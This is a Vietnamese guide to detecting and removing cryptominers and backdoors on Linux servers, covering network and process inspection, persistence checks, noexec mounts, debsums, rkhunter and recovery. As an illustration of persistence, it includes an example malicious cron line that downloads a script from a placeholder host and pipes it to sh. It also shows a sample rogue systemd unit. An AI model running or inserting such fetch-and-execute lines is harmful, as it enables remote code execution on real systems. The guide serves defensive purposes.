Khi mức sử dụng CPU trên máy chủ tăng vọt lên 100%, lưu lượng mạng gửi ra ngoài đột ngột chạm ngưỡng băng thông hoặc nhà cung cấp hạ tầng gửi cảnh báo máy chủ tham gia tấn công DDoS, hệ thống nhiều khả năng đã bị cài mã độc đào coin hoặc backdoor (tham khảo thêm cách tìm tiến trình gây tải khi CPU 100%).
Trong tình huống này, việc khởi động lại VPS ngay lập tức sẽ xóa sạch toàn bộ tiến trình đang hoạt động trong bộ nhớ RAM, làm mất các kết nối mạng ngoại vi còn lưu dấu vết và khiến quá trình xác định nguồn gốc xâm nhập gặp khó khăn. Một quy trình rà soát định kỳ và xử lý sự cố có hệ thống giúp bạn nhanh chóng khoanh vùng tiến trình độc hại, tìm ra tệp thực thi gốc và ngăn chặn mã độc tự hồi sinh sau khi xóa.
1. Dò quét kết nối mạng ngoại vi và tiến trình ẩn danh
Mã độc trên Linux, đặc biệt là mã độc đào tiền mã hóa (cryptominer) hoặc botnet DDoS, luôn phải duy trì kết nối ra ngoài Internet để nhận lệnh từ máy chủ điều khiển (Command and Control - C2) hoặc gửi kết quả tính toán về mining pool. Việc kiểm tra các kết nối mạng đang mở là bước đầu tiên để phát hiện dấu hiệu bất thường.
Kiểm tra các cổng đang lắng nghe và kết nối ra ngoài
Sử dụng lệnh ss để kiểm tra toàn bộ các socket đang mở trên hệ thống:
# Kiểm tra các cổng TCP và UDP đang mở lắng nghe
ss -tulpn
# Kiểm tra tất cả các kết nối TCP đã được thiết lập ra ngoài Internet
ss -tpn state establishedNếu hệ thống đã cài sẵn tiện ích lsof, bạn có thể kết hợp lọc danh sách tiến trình đang mở kết nối mạng với địa chỉ IP đích:
lsof -i -P -n | grep ESTABLISHEDQuan sát các thông tin quan trọng:
- Địa chỉ IP đích và cổng kết nối: Các cổng lạ như 3333, 4444, 5555, 14444 hoặc các kết nối TCP ra dải IP nước ngoài không thuộc các dịch vụ CDN, cập nhật gói hoặc cơ sở dữ liệu đã biết.
- Tên tiến trình (Process Name) và mã định danh (PID): Đối chiếu tên tiến trình với cổng đang sử dụng.
Truy ngược từ Network Socket về vị trí tệp thực thi gốc
Kẻ tấn công thường đặt tên tiến trình giả dạng các tiến trình chuẩn của hệ thống như nginx, httpd, kswapd0, hoặc systemd-journald. Để xác định chính xác tệp tin nào đang chạy tiến trình đó, hãy truy cập trực tiếp vào hệ thống tệp ảo /proc/:
# Thay 1234 bằng PID của tiến trình khả nghi tìm được ở bước trên
ls -l /proc/1234/exeKết quả lệnh sẽ trả về đường dẫn tuyệt đối đến tệp nhị phân đang thực thi:
lrwxrwxrwx 1 www-data www-data 0 Apr 12 10:15 /proc/1234/exe -> /tmp/.x/xmrig (deleted)Hai dấu hiệu nhận biết mã độc điển hình tại đây:
- Đường dẫn thực thi nằm trong các thư mục tạm như
/tmp,/var/tmp,/dev/shm, hoặc thư mục upload của web như/var/www/html/wp-content/uploads/. - Hậu tố
(deleted): Kẻ tấn công sau khi chạy tiến trình đã xóa tệp tin gốc khỏi ổ đĩa nhằm che giấu vết tích. Tiến trình vẫn tiếp tục chạy trong RAM. Bạn có thể trích xuất lại file thực thi đang chạy trong bộ nhớ để phân tích bằng lệnh:cp /proc/1234/exe /root/suspicious_sample.
Xem toàn bộ đối số dòng lệnh mà tiến trình đang sử dụng:
cat /proc/1234/cmdline | tr '\0' ' 'Lệnh này sẽ hiển thị toàn bộ chuỗi tham số thực thi, ví dụ như địa chỉ ví tiền mã hóa hoặc URL pool đào coin.
2. Kiểm tra các cơ chế bám rễ tự hồi sinh (Persistence)
Nếu chỉ tắt tiến trình bằng kill -9 và xóa file nhị phân, mã độc thường sẽ tự xuất hiện lại chỉ sau vài phút hoặc sau khi máy chủ khởi động lại. Mã độc duy trì sự tồn tại thông qua các cơ chế lập lịch tác vụ và dịch vụ hệ thống.
Rà soát tác vụ định kỳ Crontab
Kẻ tấn công thường chèn lệnh tải lại mã độc vào crontab của người dùng bị khai thác (phổ biến nhất là www-data hoặc nginx) và cả crontab của root.
Kiểm tra thư mục chứa file crontab của từng người dùng:
# Liệt kê crontab của tất cả người dùng trong hệ thống
ls -la /var/spool/cron/crontabs/
# Đọc nội dung crontab của user web và root
cat /var/spool/cron/crontabs/www-data
cat /var/spool/cron/crontabs/rootKiểm tra các thư mục lập lịch chung của hệ thống:
# Kiểm tra file cron tổng
cat /etc/crontab
# Rà soát các script tự động chạy hàng giờ, hàng ngày
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/Mã độc cronjob thường có dạng tải script bash qua curl hoặc wget rồi chuyển hướng thực thi thẳng vào shell:
* * * * * wget -q -O - http://malicious-domain.com/setup.sh | sh > /dev/null 2>&1Rà soát Systemd Services và Timers
Trên các bản phân phối Linux hiện đại, kẻ tấn công ngày càng ưu tiên sử dụng Systemd Service để bám rễ vì dịch vụ có khả năng tự khởi động lại (Restart=always) khi tiến trình bị tắt.
Kiểm tra các file service mới được tạo hoặc sửa đổi gần đây trong /etc/systemd/system/:
ls -lt /etc/systemd/system/ | head -n 25Nếu thấy các file service lạ có tên bắt chước tiến trình hệ thống nhưng nằm tại /etc/systemd/system/ (thay vì thư mục gói chuẩn /lib/systemd/system/), hãy mở nội dung để kiểm tra:
[Unit]
Description=System Logging Service
After=network.target
[Service]
Type=simple
ExecStart=/dev/shm/.session/network-service
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.targetNếu xác định đây là service độc hại:
- Dừng service ngay:
systemctl stop ten-service.service - Vô hiệu hóa tự khởi động:
systemctl disable ten-service.service - Xóa file cấu hình service trong
/etc/systemd/system/và reload systemd:systemctl daemon-reload
Kiểm tra Shell Profile và rc.local
Kiểm tra xem mã độc có chèn lệnh vào tệp khởi động môi trường người dùng hay không:
cat ~/.bashrc
cat ~/.profile
cat /etc/profile
cat /etc/rc.localRà soát khóa SSH được cấp quyền đăng nhập trong file authorized_keys của các user:
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keysNếu xuất hiện SSH public key lạ mà bạn không phải là người tạo, hãy xóa ngay lập tức để chặn kênh truy cập backdoor, đồng thời tiến hành tạo và thay thế bằng cặp khóa SSH key an toàn cho VPS.
3. Vô hiệu hóa vùng nhớ tạm và thư mục upload
Các thư mục /tmp, /var/tmp và phân vùng bộ nhớ chia sẻ /dev/shm mặc định trên Linux có quyền ghi tự do cho mọi người dùng (chmod 1777). Khi ứng dụng web bị khai thác lỗ hổng (như tải file tùy ý hoặc Remote Code Execution), mã độc chỉ có quyền của user www-data và sẽ chọn các thư mục này để lưu script hoặc binary đào coin.
Tìm kiếm các tệp thực thi trong thư mục tạm
Quét tìm toàn bộ các file có quyền thực thi (executable bit) nằm trong các vùng nhớ tạm:
find /tmp /var/tmp /dev/shm -type f -perm -111 -exec ls -la {} +Mã độc thường ẩn mình dưới dạng file có tên bắt đầu bằng dấu chấm (.x, .sys, .miner) hoặc tên trông giống tệp tin cấu hình.
Phòng thủ chủ động với tùy chọn mount noexec
Để ngăn chặn triệt để việc chạy file nhị phân từ thư mục tạm, bạn có thể gắn cờ noexec, nosuid và nodev cho các phân vùng này trong /etc/fstab. Khi gắn cờ noexec, nhân Linux sẽ từ chối cấp quyền thực thi nhị phân trực tiếp trong phân vùng đó.
Kiểm tra và cấu hình trong file /etc/fstab:
# Bảo vệ /tmp bằng ramdisk tmpfs với tùy chọn noexec
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
# Bảo vệ /dev/shm
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0Nếu /var/tmp không phải là phân vùng riêng, bạn có thể tạo liên kết mềm trỏ /var/tmp về /tmp:
rm -rf /var/tmp
ln -s /tmp /var/tmpSau khi cấu hình, chạy lệnh mount -o remount /tmp và mount -o remount /dev/shm để áp dụng ngay mà không cần khởi động lại máy chủ.
Lưu ý: Một số trình quản lý gói như apt trong một số trường hợp cài đặt phần mềm đặc biệt có thể giải nén script tạm vào /tmp. Nếu gặp lỗi trong quá trình bảo trì phần mềm, bạn có thể remount tạm thời với quyền exec bằng lệnh mount -o remount,exec /tmp và chuyển lại noexec sau khi hoàn tất.
4. Xác minh tính toàn vẹn file hệ thống với debsums và rkhunter
Khi kẻ tấn công đã leo thang lên quyền root, kỹ thuật che giấu nguy hiểm nhất là can thiệp vào các tệp nhị phân hệ thống chuẩn. Các lệnh quen thuộc như ps, top, netstat, lsof có thể bị thay thế bằng phiên bản đã bị chỉnh sửa mã nguồn nhằm tự động lọc bỏ các tiến trình và kết nối của mã độc khỏi màn hình hiển thị.
Ngoài ra, kẻ tấn công có thể chèn thư viện độc hại vào file cấu hình /etc/ld.so.preload để hook vào các hàm gọi hệ thống (system call) trước khi bất kỳ chương trình nào khởi chạy.
Kiểm tra file cấu hình thư viện liên kết động
Trước tiên, hãy kiểm tra file /etc/ld.so.preload:
cat /etc/ld.so.preloadTrên một máy chủ Linux thông thường, file này mặc định không tồn tại hoặc hoàn toàn rỗng. Nếu file này chứa đường dẫn đến một tệp .so lạ (ví dụ /lib/libprocesshider.so), mã độc đang sử dụng kỹ thuật hook thư viện động để ẩn mình.
Xác minh mã băm các gói cài đặt với debsums
Trên hệ điều hành Debian hoặc Ubuntu, công cụ debsums cho phép đối chiếu mã băm MD5 của toàn bộ các file thực thi trên ổ đĩa với mã băm gốc được lưu trong cơ sở dữ liệu của nhà phát hành hệ điều hành khi gói được cài đặt.
Cài đặt và cập nhật debsums:
apt-get update && apt-get install -y debsumsChạy quét toàn bộ hệ thống để tìm các file nhị phân đã bị thay đổi:
# Cờ -c chỉ in ra các file bị sai lệch mã băm
# Cờ -s chạy ở chế độ im lặng, bỏ qua các thông báo file hợp lệ
debsums -c -sNếu một lệnh như /bin/ps hoặc /usr/bin/top xuất hiện trong kết quả trả về của debsums -c, điều đó xác nhận tệp tin nhị phân của lệnh đó đã bị can thiệp trái phép. Bạn cần cài đặt lại gói gốc chứa lệnh đó bằng APT:
# Ví dụ cài đặt lại gói procps chứa lệnh ps và top
apt-get install --reinstall procpsRà soát dấu hiệu Rootkit với rkhunter
rkhunter (Rootkit Hunter) là công cụ chuyên biệt để phát hiện các dấu hiệu can thiệp sâu vào kernel, các backdoor mở cổng ngầm và các file ẩn bất thường trong thư mục thiết bị /dev.
Cài đặt và cập nhật cơ sở dữ liệu chữ ký:
apt-get install -y rkhunter
rkhunter --update
rkhunter --propupdChạy kiểm tra hệ thống:
rkhunter --check --skSau khi quét xong, kiểm tra các cảnh báo nghiêm trọng trong file log:
grep -E "Warning|Insecure" /var/log/rkhunter.log5. Quy trình xử lý khi phát hiện máy chủ đã bị xâm nhập
Khi đã xác nhận máy chủ bị nhiễm mã độc hoặc có backdoor, cách xử lý tiếp theo phụ thuộc vào mức độ kiểm soát mà kẻ tấn công đã đạt được.
Bước 1: Cô lập mạng tức thì
Để ngăn mã độc tiếp tục gửi dữ liệu nhạy cảm ra ngoài hoặc tải thêm các payload mã hóa ransomware, hãy giới hạn lưu lượng mạng ra ngoài (egress traffic), chỉ duy trì kết nối quản trị:
# Chặn toàn bộ traffic ra ngoài, chỉ cho phép các kết nối SSH quản trị đang mở
iptables -P OUTPUT DROP
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT # Tạm cho phép phân giải DNS nếu cần tải tool cứu hộBước 2: Sao lưu bằng chứng và phân tích nguyên nhân gốc rễ
Trước khi dọn dẹp, cần xác định rõ lỗ hổng nào đã cho phép kẻ tấn công thâm nhập:
- Kiểm tra access log của Nginx/Apache tại thời điểm mã độc bắt đầu xuất hiện để tìm kiếm các request POST lạ vào thư mục upload hoặc các endpoint khai thác lỗ hổng plugin.
- Kiểm tra auth log (
/var/log/auth.log) để kiểm tra xem có phiên đăng nhập SSH thành công bất thường nào hay không. - Lưu mẫu file thực thi độc hại vào một thư mục cách ly để lấy mã băm SHA256 phục vụ tra cứu trên các cơ sở dữ liệu an ninh mạng.
Bước 3: Đưa ra quyết định khắc phục
Cần phân định rõ hai cấp độ xâm nhập để có phương án xử lý phù hợp:
- Xâm nhập ở cấp độ ứng dụng (User quyền thấp như
www-data):
- Mã độc chỉ nằm trong thư mục web hoặc thư mục
/tmp, chưa leo thang lên quyền root. - Hành động: Xóa mã độc, vá lỗ hổng ứng dụng web (cập nhật CMS, xóa plugin lỗi thời), dọn dẹp cronjob của
www-data, đổi toàn bộ mật khẩu cơ sở dữ liệu và khóa API của ứng dụng. Đồng thời rà soát lại các quy tắc bảo mật tài khoản quản trị và quyền sudo để đảm bảo các user ứng dụng không thể leo thang đặc quyền trái phép.
- Xâm nhập ở cấp độ quản trị cao nhất (Quyền
roothoặc Kernel Rootkit):
- Kẻ tấn công đã có quyền root, chỉnh sửa các file nhị phân của hệ điều hành hoặc can thiệp vào kernel module.
- Hành động an toàn nhất: Khi máy chủ đã bị chiếm quyền root hoàn toàn, việc cố gắng dọn dẹp từng file trên hệ điều hành đang chạy luôn tiềm ẩn nguy cơ bỏ sót backdoor ẩn sâu trong hệ thống. Giải pháp triệt để và an toàn cho môi trường sản xuất là trích xuất dữ liệu sạch (cơ sở dữ liệu dump qua văn bản thuần, các file tải lên đã qua kiểm tra kỹ lưỡng), tạo một VPS hoàn toàn mới với hệ điều hành sạch, tái cấu hình bảo mật từ đầu và import lại dữ liệu. Lúc này, việc có sẵn một chiến lược backup VPS bài bản với các bản snapshot và dữ liệu tách biệt sẽ giúp bạn khôi phục dịch vụ an toàn mà không phải đánh cược với hệ thống đã bị xâm phạm sâu.
Việc thiết lập quy trình rà soát định kỳ kết hợp cấu hình phòng thủ chủ động như phân quyền noexec cho thư mục tạm và bảo vệ cổng SSH giúp quản trị viên chủ động kiểm soát tình trạng an ninh của máy chủ Linux mà không phụ thuộc vào các công cụ quét bên thứ ba nặng nề.



